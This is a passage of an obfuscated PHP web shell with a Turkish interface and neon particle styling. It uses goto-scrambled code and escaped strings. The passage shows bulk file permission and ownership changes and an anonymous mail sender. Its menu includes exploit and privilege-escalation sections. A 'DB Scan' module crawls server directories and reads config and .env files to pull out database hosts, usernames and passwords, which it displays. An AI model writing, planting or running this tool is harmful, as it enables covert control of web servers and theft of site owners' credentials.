"\x47\x72\x75\x70\x20\x64\x65\304\x9f\x69\xc5\x9f\x74\151\162\151\154\144\x69"; } else { $success = false; $msg = "\x47\145\303\xa7\145\162\163\151\172\x20\163\x65\xc3\247\x65\x6e\145\x6b\x6c\x65\162"; } } else { $success = true; $msg = "\x4b\165\x72\165\40\303\247\x61\x6c\xc4\261\305\237\x74\304\261\x72\x6d\x61\x20\50\x64\x65\xc4\237\151\xc5\237\151\153\x6c\x69\153\x20\171\x6f\153\x29"; } if ($success) { echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x22\157\x75\164\x70\165\164\55\x6c\x69\x6e\145\42\76\74\163\160\141\156\40\143\x6c\141\x73\163\75\42\163\165\143\x63\145\x73\163\x22\76\342\x9c\205\x20" . $msg . "\x3c\x2f\x73\160\x61\x6e\x3e\x3c\57\144\x69\166\76"; if (!$dry_run) { echo "\x3c\x64\151\166\x20\143\x6c\141\163\x73\75\42\x6f\x75\164\x70\165\164\55\x6c\x69\156\x65\42\x3e\74\x73\x70\141\x6e\x20\143\154\x61\x73\x73\75\42\144\151\155\x22\76\123\x61\x68\151\160\72\40" . (empty($owner) ? "\x64\x65\304\237\x69\xc5\237\155\145\144\x69" : $owner) . "\74\x2f\x73\x70\141\156\x3e\74\57\x64\x69\x76\76"; echo "\x3c\144\x69\x76\x20\x63\x6c\x61\163\163\75\42\157\x75\164\x70\x75\164\55\x6c\x69\156\145\42\76\x3c\x73\x70\141\156\40\143\x6c\x61\163\163\75\x22\144\151\155\x22\76\107\x72\165\160\72\40" . (empty($group) ? "\144\x65\304\237\151\xc5\237\x6d\x65\144\151" : $group) . "\x3c\x2f\163\160\x61\x6e\76\x3c\57\144\x69\166\x3e"; } if ($recursive && is_dir($chown_file) && !$dry_run) { echo "\x3c\x64\x69\166\40\x63\x6c\x61\163\x73\75\x22\x6f\x75\x74\160\x75\x74\55\x6c\x69\x6e\145\42\x3e\74\x73\160\x61\x6e\x20\x63\154\141\x73\x73\75\x22\167\141\x72\x6e\x22\x3e\360\237\x94\x84\x20\x52\145\143\x75\162\163\x69\x76\145\40\155\157\144\x20\141\153\164\x69\x66\x3c\57\x73\160\141\156\76\x3c\57\x64\x69\166\76"; $count = 0; $iter = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($chown_file, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iter as $f) { if (!empty($owner) && !empty($group) && !$only_owner && !$only_group) { @chown($f, $owner) && @chgrp($f, $group); } elseif (!empty($owner) && !$only_group) { @chown($f, $owner); } elseif (!empty($group) && !$only_owner) { @chgrp($f, $group); } $count++; } echo "\74\144\x69\166\x20\143\x6c\141\x73\163\x3d\x22\157\x75\x74\160\165\164\55\154\151\x6e\x65\42\x3e\x3c\163\160\x61\x6e\40\x63\154\x61\x73\x73\75\42\x64\x69\x6d\x22\76" . $count . "\40\141\154\x74\40\303\xb6\xc4\x9f\145\40\147\xc3\274\156\x63\x65\x6c\x6c\x65\156\x64\x69\74\x2f\163\x70\x61\x6e\76\x3c\x2f\144\151\x76\76"; } elseif ($recursive && is_dir($chown_file) && $dry_run) { echo "\x3c\144\x69\x76\x20\143\154\x61\163\x73\x3d\42\x6f\165\x74\x70\165\164\x2d\154\151\156\145\x22\x3e\74\163\160\x61\156\x20\143\x6c\141\x73\x73\75\42\144\x69\155\42\x3e\360\237\224\x8d\x20" . $chown_file . "\x20\x61\154\164\xc4\xb1\156\144\141\x6b\151\x20\x74\xc3\xbc\x6d\40\xc3\xb6\304\x9f\145\154\x65\x72\40\x69\305\237\154\145\x6e\145\x63\x65\x6b\74\x2f\x73\x70\141\156\76\74\57\144\x69\166\x3e"; } } else { echo "\x3c\x64\x69\166\40\x63\x6c\x61\x73\x73\x3d\x22\x6f\165\x74\160\x75\x74\x2d\154\151\x6e\x65\42\76\x3c\163\160\141\x6e\x20\x63\x6c\141\163\163\75\x22\145\162\x72\x6f\162\42\76\xe2\235\x8c\40\304\260\xc5\x9f\154\x65\155\x20\x62\141\xc5\x9f\x61\x72\304\261\x73\304\xb1\x7a\x21\40\x59\145\164\x6b\x69\x20\x79\x65\164\x65\162\163\x69\x7a\x20\x76\x65\171\x61\x20\153\x75\154\x6c\141\x6e\xc4\261\x63\304\xb1\x20\x62\x75\154\165\x6e\141\x6d\141\x64\304\xb1\56\74\x2f\163\x70\141\156\76\74\x2f\x64\151\x76\76"; } } echo "\x3c\57\x64\x69\166\x3e"; } ?> </div> </div> </div> <script> // ===== PARTİKÜL SİSTEMİ ===== (function() { const canvas = document.getElementById('particle-canvas-chmod'); if (!canvas) return; const ctx = canvas.getContext('2d'); let particles = []; let animationId = null; let mouseX = 0; let mouseY = 0; function resizeCanvas() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } window.addEventListener('resize', resizeCanvas); resizeCanvas(); class Particle { constructor() { this.reset(); } reset() { this.x = Math.random() * canvas.width; this.y = Math.random() * canvas.height; this.size = Math.random() * 2 + 0.5; this.speedX = (Math.random() - 0.5) * 0.5; this.speedY = (Math.random() - 0.5) * 0.5; this.opacity = Math.random() * 0.3 + 0.05; this.phase = Math.random() * Math.PI * 2; this.color = ['#b300ff', '#ff00aa', '#00d4ff', '#00ff88', '#ffd700'][Math.floor(Math.random() * 5)]; } update() { this.x += this.speedX + Math.sin(this.phase) * 0.1; this.y += this.speedY + Math.cos(this.phase) * 0.1; this.phase += 0.01; const dx = mouseX - this.x; const dy = mouseY - this.y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 150) { const force = (150 - dist) / 150; this.x -= dx * force * 0.01; this.y -= dy * force * 0.01; } if (this.x < 0) this.x = canvas.width; if (this.x > canvas.width) this.x = 0; if (this.y < 0) this.y = canvas.height; if (this.y > canvas.height) this.y = 0; } draw() { const gradient = ctx.createRadialGradient(this.x, this.y, 0, this.x, this.y, this.size * 4); gradient.addColorStop(0, this.color + Math.round(this.opacity * 150).toString(16).padStart(2, '0')); gradient.addColorStop(0.5, this.color + Math.round(this.opacity * 50).toString(16).padStart(2, '0')); gradient.addColorStop(1, this.color + '00'); ctx.beginPath(); ctx.arc(this.x, this.y, this.size * 4, 0, Math.PI * 2); ctx.fillStyle = gradient; ctx.fill(); ctx.beginPath(); ctx.arc(this.x, this.y, this.size, 0, Math.PI * 2); ctx.fillStyle = this.color + Math.round(this.opacity * 200).toString(16).padStart(2, '0'); ctx.fill(); } } const particleCount = Math.min(80, Math.floor(window.innerWidth * window.innerHeight / 25000)); for (let i = 0; i < particleCount; i++) { particles.push(new Particle()); } function drawConnections() { for (let i = 0; i < particles.length; i++) { for (let j = i + 1; j < particles.length; j++) { const dx = particles[i].x - particles[j].x; const dy = particles[i].y - particles[j].y; const dist = Math.sqrt(dx * dx + dy * dy); if (dist < 120) { const opacity = (1 - dist / 120) * 0.06; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.strokeStyle = `rgba(179, 0, 255, ${opacity})`; ctx.lineWidth = 0.5; ctx.stroke(); } } } } function animate() { ctx.clearRect(0, 0, canvas.width, canvas.height); particles.forEach(p => { p.update(); p.draw(); }); drawConnections(); animationId = requestAnimationFrame(animate); } document.addEventListener('mousemove', (e) => { mouseX = e.clientX; mouseY = e.clientY; }); document.addEventListener('mouseleave', () => { mouseX = -1000; mouseY = -1000; }); animate(); window.addEventListener('beforeunload', () => { if (animationId) { cancelAnimationFrame(animationId); } }); })(); // ===== PERMISSION PRESET ===== document.addEventListener('DOMContentLoaded', function() { const presetSelect = document.getElementById('chmod_preset'); const permsInput = document.getElementById('chmod_perms_input'); if (presetSelect && permsInput) { presetSelect.addEventListener('change', function() { if (this.value) { permsInput.value = this.value; } }); } // Chown preset const chownPreset = document.getElementById('chown_preset'); const ownerInput = document.getElementById('chown_owner'); const groupInput = document.getElementById('chown_group'); if (chownPreset && ownerInput && groupInput) { chownPreset.addEventListener('change', function() { if (this.value) { const parts = this.value.split(':'); ownerInput.value = parts[0] || ''; groupInput.value = parts[1] || ''; } }); } }); // ===== BULK CWD EKLE ===== function addCWDToBulkChmod() { const textarea = document.querySelector('textarea[name=chmod_bulk_files]'); if (textarea) { const cwd = '<?php echo getcwd(); ?> '; if (textarea.value) { textarea.value += '\n' + cwd + '/'; } else { textarea.value = cwd + '/'; } } } // ===== WWW EKLE ===== function addWWWToBulkChmod() { const textarea = document.querySelector('textarea[name=chmod_bulk_files]'); if (textarea) { const www = '/var/www/html/'; if (textarea.value) { textarea.value += '\n' + www; } else { textarea.value = www; } } } // ===== MEVCUT SAHİBİ AL ===== function getCurrentOwner() { const fileInput = document.querySelector('input[name=chown_file]'); const ownerInput = document.getElementById('chown_owner'); const groupInput = document.getElementById('chown_group'); if (fileInput && fileInput.value) { const file = fileInput.value; <?php if (function_exists("\x70\157\163\151\170\x5f\x67\x65\164\x70\x77\x75\151\x64")) { ?> // PHP ile mevcut sahibi al fetch('?action=chmod&get_owner=' + encodeURIComponent(file)) .then(response => response.json()) .then(data => { if (data.owner) ownerInput.value = data.owner; if (data.group) groupInput.value = data.group; }); <?php } else { ?> alert('Mevcut sahip bilgisi alınamıyor (posix fonksiyonları aktif değil)'); <?php } ?> } } </script> <?php } goto rSxWD; cMV8P: ?> <!-- ============================================================ --> <!-- ===== ADMINER - GELİŞMİŞ VE HATASIZ ===== --> <!-- ============================================================ --> <?php goto saq57; exMy0: ?> "><i class="fas fa-arrows-alt-h"></i><span>Jumping</span></a> <div class="group-label">Veritabanı</div> <a href="?action=database" class="<?php goto ft2aw; TLoGv: echo $action == "\x65\170\x70\154\157\x69\x74" ? "\141\x63\164\151\x76\145" : ''; goto LGLlt; Zf3FT: function isWindows() { return strtoupper(substr(PHP_OS, 0, 3)) === "\127\111\116"; } goto dh1mn; JoH5R: echo $action == "\x6e\145\164\x77\x6f\x72\x6b" ? "\x61\143\164\x69\x76\x65" : ''; goto Q3tWn; Rb54x: ?> </div> </div> </div> <!-- ===== MAIN ===== --> <div class="main"> <div class="header"> <h2> <i class="fas fa-<?php goto yZuxu; r5RGk: ?> "><i class="fas fa-sailing-ship"></i><span>SlowDB</span></a> <div class="group-label">Yetki</div> <a href="?action=privesc" class="<?php goto dWlRk; BOEq0: session_start(); goto sFe5k; Z8Vj1: if ($action == "\145\x6d\141\x69\x6c") { ?> <div class="settings-group"> <h4 style="color:#b300ff;margin-bottom:8px;font-size:12px;"><i class="fas fa-envelope"></i> Mail Gönder</h4> <form method="POST"> <input type="text" name="mail_to" placeholder="Alıcı (to@example.com)"> <input type="text" name="mail_subject" placeholder="Konu" value="Test Mail"> <textarea name="mail_body" rows="3" placeholder="Mesaj...">Bu bir test mailidir.</textarea> <button type="submit" name="mail_action" value="send" class="btn"><i class="fas fa-paper-plane"></i> Gönder</button> </form> <?php if (isset($_POST["\x6d\x61\x69\x6c\x5f\x61\x63\164\151\157\156"]) && $_POST["\155\141\x69\154\137\x61\143\x74\151\x6f\x6e"] == "\163\x65\156\144") { ?> <?php $to = $_POST["\155\141\x69\154\x5f\164\x6f"]; $subject = $_POST["\x6d\x61\x69\x6c\137\x73\165\142\152\x65\x63\164"]; $body = $_POST["\x6d\x61\x69\154\137\x62\157\144\x79"]; $headers = "\106\x72\x6f\155\72\40\163\x68\141\144\157\167\100\x6c\x6f\143\x61\x6c\150\x6f\163\164\15\12\x43\157\x6e\x74\x65\156\x74\x2d\124\171\x70\145\x3a\x20\x74\x65\170\x74\x2f\160\154\x61\x69\156\x3b\40\143\150\141\x72\163\x65\164\x3d\125\x54\x46\x2d\70"; if (mail($to, $subject, $body, $headers)) { echo "\x3c\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\42\157\165\164\x70\x75\164\x20\163\x75\143\143\x65\163\x73\x22\x3e\xe2\234\x85\40\115\141\151\x6c\40\x67\xc3\xb6\156\x64\x65\162\x69\x6c\144\151\72\x20" . htmlspecialchars($to) . "\74\57\x64\x69\x76\x3e"; } else { echo "\x3c\x64\151\x76\x20\143\x6c\141\163\x73\75\x22\x6f\x75\164\x70\165\164\x20\145\162\x72\x6f\x72\42\76\342\235\x8c\x20\115\x61\x69\x6c\40\147\xc3\266\156\x64\145\162\x69\154\x65\x6d\145\x64\151\x21\x3c\57\144\151\166\76"; } ?> <?php } ?> </div> <?php } goto Klo0u; ZaO8o: if ($action == "\144\x62\163\143\x61\x6e") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; --neon-mor-koyu: #1a0033; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-dbscan { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.25; } .dbscan-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== DBSCAN CONTAINER ===== */ .dbscan-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== DBSCAN CARDS ===== */ .dbscan-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .dbscan-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .dbscan-card:hover::before { opacity: 1; } .dbscan-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .dbscan-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .dbscan-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .dbscan-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .dbscan-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseDbscan 3s ease-in-out infinite; } @keyframes iconPulseDbscan { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .dbscan-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .dbscan-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } /* ===== SCAN STATUS ===== */ .scan-status { background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; padding: 10px 12px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; font-size: 12px; flex-wrap: wrap; } .scan-status .label { color: rgba(180, 150, 255, 0.4); font-size: 10px; text-transform: uppercase; letter-spacing: 1px; } .scan-status .status-icon { font-size: 18px; } .scan-status .status-text { color: var(--neon-mavi); font-family: monospace; flex: 1; } .scan-status .status-text.success { color: var(--neon-yesil); } .scan-status .status-text.error { color: var(--neon-kirmizi); } /* ===== SEARCH BAR ===== */ .search-bar { position: relative; display: flex; gap: 8px; background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 10px; padding: 4px; transition: all 0.3s ease; } .search-bar:focus-within { border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.05); } .search-bar input { flex: 1; background: transparent; border: none; padding: 10px 14px; color: #d4bfff; font-size: 12px; font-family: 'Courier New', monospace; outline: none; } .search-bar input::placeholder { color: rgba(180, 150, 255, 0.2); } .search-bar .btn-scan { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 24px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; white-space: nowrap; } .search-bar .btn-scan:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.4), rgba(255, 0, 170, 0.3)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.02); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); } /* ===== FILTER CHIPS ===== */ .filter-chips { display: flex; gap: 6px; flex-wrap: wrap; margin-top: 10px; } .filter-chip { background: rgba(179, 0, 255, 0.05); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 12px; padding: 4px 12px; font-size: 9px; color: rgba(180, 150, 255, 0.4); cursor: pointer; transition: all 0.3s ease; user-select: none; } .filter-chip:hover { background: rgba(179, 0, 255, 0.1); border-color: rgba(179, 0, 255, 0.2); color: #d4bfff; } .filter-chip.active { background: rgba(179, 0, 255, 0.15); border-color: rgba(179, 0, 255, 0.3); color: var(--neon-mor); } /* ===== RESULTS ===== */ .dbscan-results { margin-top: 12px; } .result-stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(80px, 1fr)); gap: 6px; margin-bottom: 12px; } .stat-box { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(179, 0, 255, 0.05); border-radius: 8px; padding: 8px 10px; text-align: center; } .stat-box .stat-number { color: var(--neon-mor); font-size: 18px; font-weight: 600; font-family: monospace; } .stat-box .stat-label { color: rgba(180, 150, 255, 0.3); font-size: 8px; text-transform: uppercase; letter-spacing: 1px; margin-top: 2px; } /* ===== RESULT ITEMS ===== */ .result-item { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(179, 0, 255, 0.05); border-radius: 8px; padding: 10px 12px; margin-bottom: 6px; transition: all 0.3s ease; cursor: pointer; } .result-item:hover { border-color: rgba(179, 0, 255, 0.2); background: rgba(179, 0, 255, 0.03); transform: translateX(4px); } .result-item .file-path { color: var(--neon-mavi); font-family: monospace; font-size: 11px; display: flex; align-items: center; gap: 8px; } .result-item .file-path .icon { font-size: 14px; } .result-item .file-ext { background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 4px; padding: 1px 8px; font-size: 8px; color: rgba(180, 150, 255, 0.4); text-transform: uppercase; } .result-item .creds { display: flex; gap: 12px; flex-wrap: wrap; margin-top: 6px; padding-top: 6px; border-top: 1px solid rgba(179, 0, 255, 0.05); } .result-item .creds .cred-item { font-size: 10px; color: rgba(180, 150, 255, 0.5); } .result-item .creds .cred-item .key { color: rgba(180, 150, 255, 0.3); } .result-item .creds .cred-item .value { color: var(--neon-yesil); font-family: monospace; } .result-item .creds .cred-item .value.highlight { color: var(--neon-sari); } /* ===== SCAN ANIMATION ===== */ @keyframes scanPulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .scanning .scan-status .status-text { animation: scanPulse 1s ease-in-out infinite; } /* ===== OUTPUT CONSOLE ===== */ .dbscan-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 400px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .dbscan-output::before { content: '▼ SCAN OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .dbscan-output::-webkit-scrollbar { width: 4px; } .dbscan-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .dbscan-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .dbscan-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .dbscan-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .dbscan-output .output-line:last-child { border-bottom: none; } .dbscan-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .dbscan-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .dbscan-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .dbscan-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .dbscan-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .dbscan-container { grid-template-columns: 1fr; gap: 15px; } .dbscan-card { padding: 15px; } .search-bar { flex-direction: column; } .search-bar .btn-scan { width: 100%; justify-content: center; } .result-stats { grid-template-columns: 1fr 1fr; } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowDbscan { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .dbscan-card { animation: pulseGlowDbscan 3s ease-in-out infinite; } @keyframes slideInDbscan { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .dbscan-output { animation: slideInDbscan 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .dbscan-card { animation: fadeInUp 0.5s ease forwards; } .dbscan-card:nth-child(1) { animation-delay: 0.05s; } .dbscan-card:nth-child(2) { animation-delay: 0.1s; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-dbscan"></canvas> <div class="dbscan-wrapper"> <div class="dbscan-container"> <!-- ============================================================ --> <!-- 1. DB SCAN - ANA TARAMA --> <!-- ============================================================ --> <div class="dbscan-card"> <div class="card-header"> <i class="fas fa-search"></i> <h4>🔍 DB Scan</h4> <span class="badge">Bulucu</span> </div> <div class="scan-status"> <span class="label">🎯 Hedef:</span> <span class="status-icon">📂</span> <span class="status-text" id="current-dir"><?php echo htmlspecialchars(getcwd()); ?> </span> </div> <form method="POST" id="dbscan-form"> <div class="search-bar"> <input type="text" name="dbscan_dir" placeholder="Aranacak dizin yolu..." value="<?php echo htmlspecialchars(getcwd()); ?> " id="scan-dir-input"> <button type="submit" name="dbscan_action" value="scan" class="btn-scan"> <i class="fas fa-radar"></i> Tara </button> </div> <div class="filter-chips"> <span class="filter-chip active" onclick="toggleFilter(this, '.php')">.php</span> <span class="filter-chip active" onclick="toggleFilter(this, '.inc')">.inc</span> <span class="filter-chip active" onclick="toggleFilter(this, '.ini')">.ini</span> <span class="filter-chip active" onclick="toggleFilter(this, '.conf')">.conf</span> <span class="filter-chip" onclick="toggleFilter(this, '.config')">.config</span> <span class="filter-chip" onclick="toggleFilter(this, '.env')">.env</span> <span class="filter-chip" onclick="toggleFilter(this, '.yml')">.yml</span> <span class="filter-chip" onclick="toggleFilter(this, '.yaml')">.yaml</span> <span class="filter-chip" style="margin-left:auto;color:var(--neon-mor);" onclick="selectAllFilters()">Tümünü Seç</span> </div> <input type="hidden" name="dbscan_extensions" id="dbscan-extensions" value="php,inc,ini,conf"> </form> <?php if (isset($_POST["\144\142\x73\143\x61\x6e\x5f\141\x63\164\151\x6f\156"]) && $_POST["\144\x62\163\143\x61\x6e\137\x61\143\x74\x69\x6f\x6e"] == "\163\143\x61\x6e") { $dir = rtrim($_POST["\144\142\163\143\x61\x6e\x5f\144\x69\x72"], "\57"); $extensions = explode("\54", $_POST["\144\142\163\x63\141\156\137\145\170\x74\x65\156\x73\151\x6f\156\163"] ?? "\160\x68\x70\x2c\x69\156\x63\54\x69\156\151\54\143\157\x6e\146"); $patterns = array("\57\x44\x42\137\x2f", "\57\144\141\x74\141\142\141\x73\145\57", "\57\155\171\x73\161\154\57", "\x2f\x70\157\x73\164\147\162\x65\163\57", "\57\160\x67\x73\x71\154\57", "\57\155\157\156\x67\x6f\57", "\57\160\x61\x73\x73\167\157\162\x64\57", "\x2f\x70\x77\x64\x2f", "\x2f\160\x61\x73\163\x77\x64\x2f", "\57\x70\x61\163\163\x2f", "\x2f\162\157\x6f\164\x2f", "\57\141\144\155\x69\x6e\57", "\x2f\165\x73\x65\162\57", "\57\x75\x73\145\x72\x6e\x61\155\145\57", "\x2f\144\142\165\x73\145\x72\x2f", "\57\x64\142\150\x6f\163\x74\57", "\x2f\150\x6f\x73\x74\57", "\x2f\x73\x65\162\x76\145\162\57", "\x2f\143\157\x6e\x6e\x65\x63\x74\x69\157\156\x2f", "\x2f\x63\x6f\x6e\156\57", "\x2f\144\x62\156\141\x6d\x65\57", "\x2f\x64\x62\x5f\x6e\x61\155\x65\57", "\x2f\144\x61\x74\x61\x62\x61\x73\145\137\x6e\141\x6d\x65\57", "\57\154\x6f\143\x61\x6c\x68\157\x73\164\57", "\x2f\x31\x32\67\x2e\60\56\60\56\x31\x2f"); $results = array(); $total_files = 0; $scanned_files = 0; $credentials_found = array(); if (is_dir($dir) && is_readable($dir)) { try { $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); foreach ($iterator as $file) { if ($file->isFile()) { $total_files++; $ext = $file->getExtension(); if (!in_array($ext, $extensions)) { continue; } $scanned_files++; $path = $file->getPathname(); $content = @file_get_contents($path); if ($content === false) { continue; } $found_patterns = array(); foreach ($patterns as $p) { if (preg_match($p, $content)) { $found_patterns[] = $p; } } if (!empty($found_patterns)) { $creds = array(); preg_match_all("\x2f\x28\x3f\72\150\157\x73\164\174\163\x65\162\x76\145\162\x7c\144\142\150\x6f\163\164\174\144\142\156\x61\155\145\x7c\144\141\x74\141\142\x61\x73\x65\174\x75\x73\145\162\174\x75\x73\145\162\156\141\155\145\174\160\x61\163\x73\167\157\x72\144\174\x70\141\x73\163\x7c\160\x77\x64\x7c\162\x6f\x6f\x74\x29\x5c\x73\52\133\x3a\75\135\134\x73\52\133\47\x22\135\77\50\x5b\136\47\x22\x5c\163\54\135\53\x29\x5b\x27\42\x5d\x3f\x2f\x69", $content, $matches); if (!empty($matches[0])) { for ($i = 0; $i < count($matches[0]); $i++) { $key = trim(str_replace(array("\72", "\75", "\x22", "\47", "\x20"), '', $matches[0][$i])); $creds[$key] = $matches[1][$i] ?? ''; } } $results[] = array("\160\141\164\x68" => $path, "\x65\x78\x74" => $ext, "\x70\x61\x74\164\145\x72\x6e\163" => $found_patterns, "\143\x72\x65\144\x73" => $creds); if (!empty($creds)) { $credentials_found = array_merge($credentials_found, $creds); } } } } } catch (Exception $e) { $error = $e->getMessage(); } } else { $error = "\104\151\172\151\156\40\x62\165\154\x75\156\141\155\x61\144\xc4\261\x20\166\145\171\x61\x20\157\153\165\156\141\155\304\xb1\x79\x6f\x72\x21"; } $result_count = count($results); ?> <div class="dbscan-results"> <div class="result-stats"> <div class="stat-box"> <div class="stat-number"><?php echo $result_count; ?> </div> <div class="stat-label">Potansiyel Dosya</div> </div> <div class="stat-box"> <div class="stat-number"><?php echo $scanned_files; ?> </div> <div class="stat-label">Taranan Dosya</div> </div> <div class="stat-box"> <div class="stat-number"><?php echo $total_files; ?> </div> <div class="stat-label">Toplam Dosya</div> </div> <div class="stat-box"> <div class="stat-number"><?php echo count($credentials_found); ?> </div> <div class="stat-label">Bulunan Bilgi</div> </div> </div> <?php if (isset($error)) { ?> <div class="dbscan-output"> <div class="output-line"><span class="error">❌ Hata: <?php echo htmlspecialchars($error); ?> </span></div> </div> <?php } elseif ($result_count > 0) { ?> <div class="dbscan-output" style="max-height:300px;"> <?php foreach ($results as $result) { ?> <div class="result-item" onclick="copyPath('<?php echo addslashes($result["\x70\141\164\x68"]); ?> ')"> <div class="file-path"> <span class="icon">📄</span> <?php echo htmlspecialchars(str_replace($dir . "\x2f", '', $result["\160\141\164\150"])); ?> <span class="file-ext"><?php echo htmlspecialchars($result["\x65\170\164"]); ?> </span> </div> <?php if (!empty($result["\143\162\x65\x64\x73"])) { ?> <div class="creds"> <?php foreach ($result["\x63\x72\145\x64\163"] as $key => $value) { ?> <span class="cred-item"> <span class="key"><?php echo htmlspecialchars($key); ?> :</span> <span class="value <?php echo strpos($key, "\x70\141\x73\x73") !== false || strpos($key, "\160\x61\163\163\x77\157\x72\144") !== false ? "\150\x69\x67\x68\154\151\x67\x68\164" : ''; ?> "> <?php echo htmlspecialchars($value); ?> </span> </span> <?php } ?> </div> <?php } ?> </div> <?php } ?> </div> <?php } else { ?> <div class="dbscan-output"> <div class="output-line"><span class="warn">🔍 Potansiyel bağlantı dosyası bulunamadı</span></div> <div class="output-line"><span class="dim">Farklı uzantılar veya dizinler deneyin.</span></div> </div> <?php } ?> </div> <?php 